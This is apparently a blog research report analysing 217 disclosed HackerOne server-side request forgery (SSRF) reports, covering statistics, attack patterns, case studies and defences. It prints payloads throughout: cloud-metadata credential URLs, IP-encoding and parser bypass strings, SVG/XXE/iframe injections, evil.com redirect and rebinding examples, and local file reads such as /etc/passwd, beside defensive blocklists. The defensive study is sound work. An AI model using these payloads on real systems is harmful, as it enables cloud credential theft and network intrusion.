SSRF in the Wild: A Comprehensive Analysis of 200+ Real-World Server-Side Request Forgery Vulnerabilities

SSRF in the Wild: A Comprehensive Analysis of 200+ Real-World Vulnerabilities
Executive Summary
Server-Side Request Forgery (SSRF) has emerged as one of the most dangerous vulnerability classes in modern cloud-native applications, earning dedicated recognition as OWASP Top 10 A10:2021. Through analysis of 217 disclosed SSRF reports from HackerOne spanning 2014–2025, this study exposes how attackers exploit applications to reach internal services, cloud metadata endpoints, and sensitive infrastructure.
Our analysis reveals that SSRF vulnerabilities have resulted in $92,757+ in disclosed bounties, with individual reports reaching $10,000. However, the true impact extends far beyond bug bounties: SSRF has enabled attackers to steal AWS credentials, gain root access to cloud instances, exfiltrate internal data, and pivot through entire internal networks. The Shopify Exchange SSRF alone was awarded $25,000 after the researcher demonstrated root access across all instances in an infrastructure subset.
What is SSRF?
Server-Side Request Forgery occurs when an attacker can induce the server-side application to make HTTP requests to an arbitrary domain or internal resource of the attacker's choosing. Unlike client-side attacks, SSRF leverages the server's network position and trust relationships.
# Legitimate request — fetches external URL for preview
POST /api/fetch-url HTTP/1.1
{"url": "https://example.com/article"}
# Attacker exploits to reach cloud metadata
POST /api/fetch-url HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Attacker pivots to internal services
POST /api/fetch-url HTTP/1.1
{"url": "http://internal-api.corp:8080/admin/users"}
Analysis Methodology
This study examines 217 disclosed SSRF reports from HackerOne's Hacktivity, focusing on:
ANALYSIS SCOPE
- • Temporal analysis: Trends from 2014–2025
- • Attack patterns: Blind, full-read, DNS rebinding, bypass
- • Infrastructure targets: AWS, GCP, internal services
- • Financial impact: Bounty distributions
DATA SOURCES
- • 217 HackerOne disclosed reports
- • 77 unique bug bounty programs
- • 181 unique security researchers
- • CVE cross-references where available
Key Findings
1. Severity Distribution — SSRF Skews High
SEVERITY BREAKDOWN (217 REPORTS)
41.5% of all 217 reports were rated high or critical — 44.8% of the 201 that carry a rating at all. Percentages above are of 217; the two grey bands mean different things and are kept separate because of it, one being a triage decision and the other missing data.
One caveat on the critical band: 13 of these 217 reports (6%) are h1-ctf contest write-ups — planted vulnerabilities, disclosed by design — and all 13 are rated critical, a third of the entire critical band. Excluding them, critical falls from 18.4% to 13.2% (27 of 204).
2. Temporal Trends — Peak in 2020, Steady Presence
REPORTS BY YEAR
The 2020 spike (55 reports) is concentrated rather than general: 24 of those 55 come from four programs (h1-ctf 9, stripo 8, gitlab 7, nodejs-ecosystem 4), and 9 of the year's 15 criticals are contest write-ups. Treat it as a disclosure artifact, not a jump in real-world SSRF. Severity by era does trend upward and that part is measurable — crit+high runs 22% in 2014–19, 51% in 2020–22, and 45% in 2023–25 — particularly around AI/MCP tooling (2025) and library-level SSRF (libuv, undici, curl).
3. Most Disclosed Programs
PROGRAMS WITH THE MOST DISCLOSED REPORTS
This ranks disclosure willingness, not vulnerability density. 73 of the top 107 reports come from programs where publication is the default rather than a negotiated exception — the DoD runs a VDP with a mandatory-disclosure culture, GitLab and Nextcloud are open-source projects that publish by default, h1-ctf is a contest, and the IBB funds library research. Nothing here says GitLab has more SSRF than a bank; it says GitLab publishes.
Attack Pattern Deep Dive
How to read these counts. These categories are not mutually exclusive and do not sum to 217 — a number of reports match two or more. Blind and Full-Read in particular are not attack patterns at all: they are observability properties that overlay the other five. Counts below were re-derived by reading all 217 titles by hand after the original keyword rules proved unreliable; where a corrected figure differs from a keyword count, the reason is given inline.
Pattern 1: Blind SSRF — The Most Common Variant
BLIND SSRF (35 reports — 16% of dataset)
Definition: The attacker can trigger server-side requests but cannot see the response body. Confirmed via out-of-band interactions (DNS/HTTP callbacks).
# Step 1: Inject attacker-controlled URL
POST /api/webhook HTTP/1.1
{"callback_url": "https://attacker-burp-collaborator.net"}
# Step 2: Observe DNS/HTTP interaction in Burp Collaborator
# Confirms server made request from internal network
# Step 3: Pivot to port scanning
POST /api/webhook HTTP/1.1
{"callback_url": "http://127.0.0.1:6379"} # Redis
# Response time difference reveals open ports
/api/v2/chats/image-check allowed internal port scanning. Entire API path was retired as a fix.Pattern 2: Full-Read SSRF — Maximum Impact
FULL-READ SSRF (8 reports — highest severity)
Definition: The attacker can read the full response from internal requests, enabling credential theft, data exfiltration, and complete infrastructure mapping.
# Attacker requests AWS metadata
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Server returns AWS temporary credentials
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "FwoGZX...",
"Expiration": "2024-03-15T12:00:00Z"
}
Pattern 3: Cloud Metadata Exploitation
CLOUD METADATA ACCESS (22 reports)
aws with no word boundary, so it also matched "flaws", "draws", and a triage note reading "not related to AWS Software or Services". Hand count: 22.Target: The infamous 169.254.169.254 metadata endpoint present in AWS, GCP, and Azure.
# AWS Instance Metadata Service (IMDSv1 — no authentication required)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# GCP Metadata (requires header)
http://metadata.google.internal/computeMetadata/v1/
# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Pattern 4: DNS Rebinding Attacks
DNS REBINDING (7 reports)
Technique: Attacker controls a domain's DNS records, initially resolving to a public IP (passing validation), then switching to an internal IP (127.0.0.1 or 169.254.169.254) during the actual request.
# DNS Rebinding attack flow:
1. Attacker submits: http://evil.attacker.com/payload
2. First DNS lookup (validation): evil.attacker.com → 1.2.3.4 (public IP — passes check)
3. DNS TTL expires immediately (TTL=0)
4. Second DNS lookup (actual request): evil.attacker.com → 127.0.0.1 (internal!)
5. Server connects to localhost, bypassing all IP-based SSRF filters
Pattern 5: SSRF Filter Bypass Techniques
SSRF FILTER/BLOCKLIST BYPASS (22 reports that defeated a deployed control)
Key insight: SSRF protections are consistently evaded. Blocklist approaches are fundamentally flawed.
# Bypass Technique 1: IPv6 mapped to IPv4
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:169.254.169.254]/
# Bypass Technique 2: Decimal/Octal/Hex IP encoding
http://2130706433/ # Decimal for 127.0.0.1
http://0x7f000001/ # Hex for 127.0.0.1
http://017700000001/ # Octal for 127.0.0.1
http://0177.0.0.1/ # Mixed octal
# Bypass Technique 3: URL parsing inconsistencies
http://evil.com@127.0.0.1/ # Credential host confusion
http://127.0.0.1#@evil.com # Fragment injection
http://127.0.0.1%00@evil.com # Null byte
# Bypass Technique 4: Redirect chains
http://evil.com/redirect?to=http://169.254.169.254/
# Bypass Technique 5: Trailing dot in domain
http://internal-service. # Trailing dot bypasses deny lists
# Bypass Technique 6: Protocol-relative URL
//127.0.0.1/admin
0x00007f000001 to bypass validation. $4,860 bounty.Pattern 6: SSRF via File Upload & Import Features
REMOTE FETCH / IMPORT SSRF (18 reports)
import, which pulled in CVE-2024-38472 solely because the Apache advisory is prefixed "important:". Hand count: 18.Vectors: SVG uploads, PDF generators, URL-based file imports, video processing, XML/XSLT parsing.
<!-- SVG-based SSRF -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://169.254.169.254/latest/meta-data/" />
</svg>
<!-- XXE-based SSRF via XML upload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
<!-- PDF generator SSRF via HTML injection -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
remote_attachment_url on project import Note. $10,000 bounty — highest in dataset.Pattern 7: SSRF via Webhooks & Integrations
INTEGRATION / WEBHOOK SSRF (23 reports)
webhook rule cannot see the same bug filed against a configurable service host: Nextcloud alone contributes five reports through smtpHost, sieveHost and imapHost fields. Hand count: 23.Root cause: Applications that allow users to configure webhook URLs or integration endpoints without proper URL validation.
# Webhook configuration pointing to internal service
POST /api/integrations/webhook
{
"name": "My Integration",
"url": "http://169.254.169.254/latest/meta-data/",
"events": ["order.created"]
}
# When event fires, server sends request to attacker-controlled destination
# or to internal infrastructure
http://169.254.169.254/latest/meta-data. $500 bounty.Financial Impact Analysis
BOUNTY DISTRIBUTION
A bounty of 0.0 in HackerOne's data means no amount was disclosed, not that the report paid nothing. The $92,757 figure is therefore a floor across the 51 reports carrying a visible number — the real total across all 217 is unknown and certainly higher. The median disclosed award is $1,000; the top five reports alone account for $30,920, a third of the entire disclosed pool.
Highest Bounty Reports:
Kubernetes Cloud Controller SSRF
Half-blind SSRF upgradeable to full crafted HTTP
Report #341876 — @0xacb exploited SSRF in Shopify Exchange's screenshotting functionality to access cloud metadata, then pivoted to gain root access to every container in the infrastructure subset. Shopify responded within one hour, disabled the service, and audited all infrastructure subsets. Awarded $25,000 as equivalent to a Shopify Core RCE. This report bounty amount is not reflected in the bounty section but represents the highest-value SSRF finding in the dataset.
Industry Impact Analysis
GOVERNMENT & DEFENSE
- • AWS metadata exposure on military systems
- • Internal network scanning
- • IP address and infrastructure enumeration
DEVTOOLS & INFRASTRUCTURE
- • CI/CD pipeline compromise
- • Project import exploitation
- • Internal Grafana/monitoring access
COMMUNICATION & MESSAGING
- • Internal network proxying via TURN servers
- • Blind SSRF via mail server settings
- • Slash command abuse for internal requests
OPEN SOURCE LIBRARIES
- • URL parsing inconsistencies
- • Hostname truncation bugs
- • Protocol-relative URL handling
Technical Deep Dive: The SSRF Kill Chain
SSRF EXPLOITATION LADDER
Level 1: External Service Interaction (Low Impact)
Confirm SSRF exists via DNS/HTTP out-of-band callback. Proves the server makes requests but no data exfiltrated.
Verify: Server makes DNS query to attacker-controlled domain
Impact: Information disclosure (server IP), proof of vulnerability
Level 2: Internal Port Scanning (Medium Impact)
Enumerate internal services by measuring response time or error differences across ports.
Detect: Response time for http://127.0.0.1:22 (open) vs http://127.0.0.1:12345 (closed)
Impact: Internal network mapping, service discovery
Level 3: Cloud Credential Theft (High Impact)
Access cloud metadata service to steal temporary IAM credentials.
Target: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Impact: AWS account access, S3 bucket manipulation, EC2 control
Level 4: Remote Code Execution (Critical Impact)
Chain SSRF with internal services (Redis, Docker API, Kubernetes) to achieve code execution.
Chain: SSRF → Docker API (no auth) → Container escape → Root access
Real: Shopify Exchange SSRF → Root on all instances (#341876)
Real: Uber SSRF → Internal Docker API access (#366638)
Case Study Spotlight: Shopify Exchange → Root Access
REPORT #341876 — The $25,000 SSRF
- 1. Discovered SSRF in Exchange's screenshotting service
- 2. Used SSRF to reach cloud metadata endpoint (169.254.169.254)
- 3. Retrieved IAM role credentials from metadata
- 4. Used credentials to access internal services and buckets
- 5. Achieved root access across all containers in the infrastructure subset
Case Study Spotlight: HackerOne's Own SSRF → CVSS 10.0
REPORT #2262382 — AWS Credentials via PDF Export
- 1. Injected an
<iframe>tag into thetemplateelement of analytics report PDF generation - 2. PDF renderer fetched the iframe URL server-side
- 3. Pointed iframe to
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - 4. Generated PDF contained AWS temporary credentials in cleartext
- 5. Credentials could manipulate AWS resources, cause data loss, or takeover accounts
Prevention Strategies
DEFENSE IN DEPTH — SSRF PROTECTION LAYERS
1. Network-Level Isolation (Most Effective)
# AWS: Enforce IMDSv2 (requires token-based access)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890 \
--http-tokens required \
--http-put-response-hop-limit 1
# Deploy metadata concealment proxy (like Shopify did)
# Block 169.254.169.254 at the host level with iptables/nftables.
# NOTE: AWS Security Groups and NACLs CANNOT block this - link-local
# traffic never leaves the ENI. Use IMDSv2 plus a host firewall rule.
# Kubernetes: Block metadata via NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {}
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
2. Application-Level URL Validation (Allowlist Only)
import ipaddress
import urllib.parse
import socket
ALLOWED_SCHEMES = {'https'}
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('10.0.0.0/8'), # Private
ipaddress.ip_network('172.16.0.0/12'), # Private
ipaddress.ip_network('192.168.0.0/16'), # Private
ipaddress.ip_network('169.254.0.0/16'), # Link-local (metadata!)
ipaddress.ip_network('0.0.0.0/8'), # Special
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('::ffff:0:0/96'), # IPv4-mapped IPv6
ipaddress.ip_network('100.64.0.0/10'), # CGNAT — Alibaba IMDS lives at 100.100.100.200
ipaddress.ip_network('fc00::/7'), # IPv6 unique-local
ipaddress.ip_network('fd00:ec2::/32'), # AWS IPv6 IMDS
]
def validate_url(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
# 1. Allowlist protocol
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# 2. Resolve the hostname and check EVERY answer, not just the first.
# A host that returns both a public and a private A record would
# otherwise pass on [0] and connect to the private one.
try:
answers = socket.getaddrinfo(parsed.hostname, None)
except socket.gaierror:
return False
ips = set()
for family, _, _, _, sockaddr in answers:
try:
ips.add(ipaddress.ip_address(sockaddr[0]))
except ValueError:
return False # fail closed on anything unparseable
if not ips:
return False
# 3. Fail closed if ANY resolved address is blocked
for ip in ips:
for network in BLOCKED_NETWORKS:
if ip in network:
return False
# 4. This function has now validated a NAME, not a CONNECTION. Between
# this check and the socket connect, DNS can change under you — that
# is exactly the rebinding attack in Pattern 4. Pass the validated IP
# to a pinned connection (Strategy 3) and re-run this check on every
# redirect hop; do not call requests.get(url) after returning True.
return True
3. DNS Rebinding Protection
# DNS pinning strategy
def safe_fetch(url: str) -> bytes:
parsed = urllib.parse.urlparse(url)
# Step 1: Resolve and validate
resolved_ip = resolve_and_validate(parsed.hostname)
# Step 2: Connect directly to the resolved IP (bypass DNS)
# This prevents DNS rebinding between validation and request
response = requests.get(
url,
headers={'Host': parsed.hostname},
allow_redirects=False, # Handle redirects manually!
timeout=5,
# Force connection to validated IP
# via custom adapter or socket override
)
# Step 3: Validate any redirect URLs before following
if response.is_redirect:
redirect_url = response.headers['Location']
validate_url(redirect_url) # Re-validate!
return response.content
4. Dedicated Egress Proxy (Smokescreen Pattern)
# Smokescreen-style egress proxy (used by Stripe, Shopify)
# All outbound HTTP from the application routes through this proxy
# Proxy enforces:
# - No connections to internal IP ranges
# - No connections to cloud metadata endpoints
# - No connections to denied domains
# - DNS resolution happens in the proxy (prevents rebinding)
proxy_config:
deny_ranges:
- "127.0.0.0/8"
- "10.0.0.0/8"
- "169.254.0.0/16"
- "172.16.0.0/12"
- "192.168.0.0/16"
deny_domains:
- "*.internal"
- "metadata.google.internal"
Testing Methodology for Bug Hunters
SSRF HUNTING CHECKLIST
url, uri, src, href, link, callback, redirect, proxy, endpoint
dest, target, path, host, domain, site, page, feed, webhook
image_url, icon_url, avatar_url, logo_url, preview_url
import_url, fetch_url, load_url, download_url, file_url
next, return, continue, forward, redir, out, view, show
# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance # Azure
# Internal services
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:2375/ # Docker API
http://127.0.0.1:5985/ # WinRM
http://127.0.0.1:8500/ # Consul
# Read local files
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/tcp
# IP encoding tricks
http://0x7f000001/ # Hex
http://2130706433/ # Decimal
http://017700000001/ # Octal
http://[::ffff:127.0.0.1]/ # IPv6 mapped
http://127.1/ # Shortened
http://0/ # Zero
Researcher Patterns
TOP SSRF HUNTERS
Notable: @orange (Orange Tsai) is a world-renowned SSRF researcher known for bypassing URL parsers. @jobert (HackerOne co-founder) appears in both SSRF and IDOR top hunters. @edoverflow specializes in infrastructure-level vulnerabilities.
RESEARCHER DEMOGRAPHICS
Future Trends and Emerging Threats
EMERGING SSRF THREAT LANDSCAPE
1. AI/MCP Tooling SSRF (2025 trend)
The rise of Model Context Protocol (MCP) servers introduces new SSRF surfaces. AI tools that make HTTP requests on behalf of users are vulnerable to DNS rebinding and lack origin validation.
Example: Burp Suite MCP Server (#3176157) — DNS rebinding SSRF enabled internal network access via the send_http1_request tool.
2. Supply Chain SSRF via Libraries
SSRF vulnerabilities in foundational libraries (curl, libuv, undici) create supply chain risk affecting millions of downstream applications simultaneously.
Examples: CVE-2024-38472 (Apache), libuv hostname truncation, undici pathname SSRF — all affected massive ecosystems.
3. Kubernetes & Container Orchestration SSRF
Kubernetes API servers, cloud controllers, and admission webhooks introduce SSRF opportunities unique to container platforms.
Example: Kubernetes (#1544133) — Hijacked aggregated API server returning 30X redirects enabled SSRF to internal endpoints.
4. PDF/Document Generation as Attack Surface
Server-side PDF generators (wkhtmltopdf, Puppeteer, headless Chrome) consistently ignore Content Security Policy and enable SSRF through HTML injection.
Pattern: Inject <iframe>, <img>, or <script> into user-controlled content → PDF renderer fetches internal URLs server-side.
Recommendations for Organizations
IMMEDIATE ACTIONS (0-30 days)
- 1. Enable IMDSv2 on all AWS instances (blocks unauthenticated metadata access)
- 2. Audit URL-accepting endpoints — webhooks, imports, previews, PDF generators
- 3. Block 169.254.169.254 with a host firewall rule (iptables/nftables) plus IMDSv2 — Security Groups and NACLs cannot filter link-local traffic, which never leaves the ENI
- 4. Disable unnecessary protocols — block file://, gopher://, dict:// schemes
MEDIUM-TERM (1-6 months)
- 1. Deploy an egress proxy (Smokescreen or similar) for all outbound HTTP
- 2. Implement DNS pinning to prevent rebinding attacks
- 3. Replace blocklists with allowlists for all URL validation
- 4. Add SSRF tests to CI/CD — automated scanning of URL-accepting endpoints
LONG-TERM (6+ months)
- 1. Zero-trust networking — microservices should authenticate all internal requests
- 2. Metadata concealment proxy across all infrastructure (Shopify model)
- 3. Red team exercises specifically targeting SSRF attack chains
- 4. Supply chain auditing — monitor dependencies for URL-parsing vulnerabilities
Conclusion
FINAL ANALYSIS
SSRF has evolved from a curiosity to one of the most critical vulnerability classes in cloud-native environments. Our analysis of 217 HackerOne reports reveals a clear pattern: SSRF protections are consistently defeated, cloud metadata remains the primary escalation target, and the attack surface continues to expand with AI tooling, container orchestration, and library-level vulnerabilities.
Key Takeaways:
- 1. Blocklists fail: 22 reports (10%) defeated a protection the target had already deployed — including Smokescreen, a purpose-built anti-SSRF proxy, twice. Allowlists and network isolation are the only reliable defenses.
- 2. Cloud metadata is the crown jewel: 22 reports reach or target cloud IMDS — enforce IMDSv2 and block link-local with a host firewall rule, since Security Groups cannot filter traffic that never leaves the ENI.
- 3. Blind SSRF is underestimated: 35 reports demonstrate that even without response body access, attackers achieve significant impact through port scanning and service interaction.
- 4. SSRF chains are devastating: The jump from SSRF to RCE (Shopify #341876) or full credential theft (HackerOne #2262382) represents existential organizational risk. Both are reported at $25,000 from sources outside this dataset; the highest award disclosed on a report here is $10,000.
- 5. New attack surfaces emerge constantly: MCP servers, AI tooling, and container platforms introduce SSRF vectors that didn't exist two years ago.
The Path Forward:
Organizations must adopt a defense-in-depth posture: network isolation blocks the escalation path, egress proxies centralize URL policy enforcement, IMDSv2 eliminates the easiest metadata attack, and allowlist validation catches what slips through. No single layer is sufficient — the combination is what stops SSRF exploitation chains before they reach critical assets.
For Bug Hunters:
SSRF remains one of the most rewarding bug classes to hunt. The highest payouts come from demonstrating the full exploitation chain — don't stop at proving the server makes requests. Show the AWS credentials. Map the internal network. Prove the impact. Calibrate the expectation, though: the median disclosed award in this corpus is $1,000, and 22 of the 51 paid reports are medium severity. Five reports cleared $4,860 — that is the tail, not the norm.
This analysis is based on 217 publicly disclosed SSRF vulnerability reports from HackerOne, spanning 77 unique bug bounty programs from 2014 to 2025. It represents a subset of actual SSRF vulnerabilities — many critical SSRF findings remain undisclosed or were reported through private programs.
This research was mainly conducted with the assistance of AI to enhance clarity and structure.
[RELATED]
More research and writeups from the blog
→ IDOR Analysis: 250 Real-World Cases
→ When Protocol Parsing Leaks Into Application Logic
→ From Self-XSS to Reflected XSS via CSRF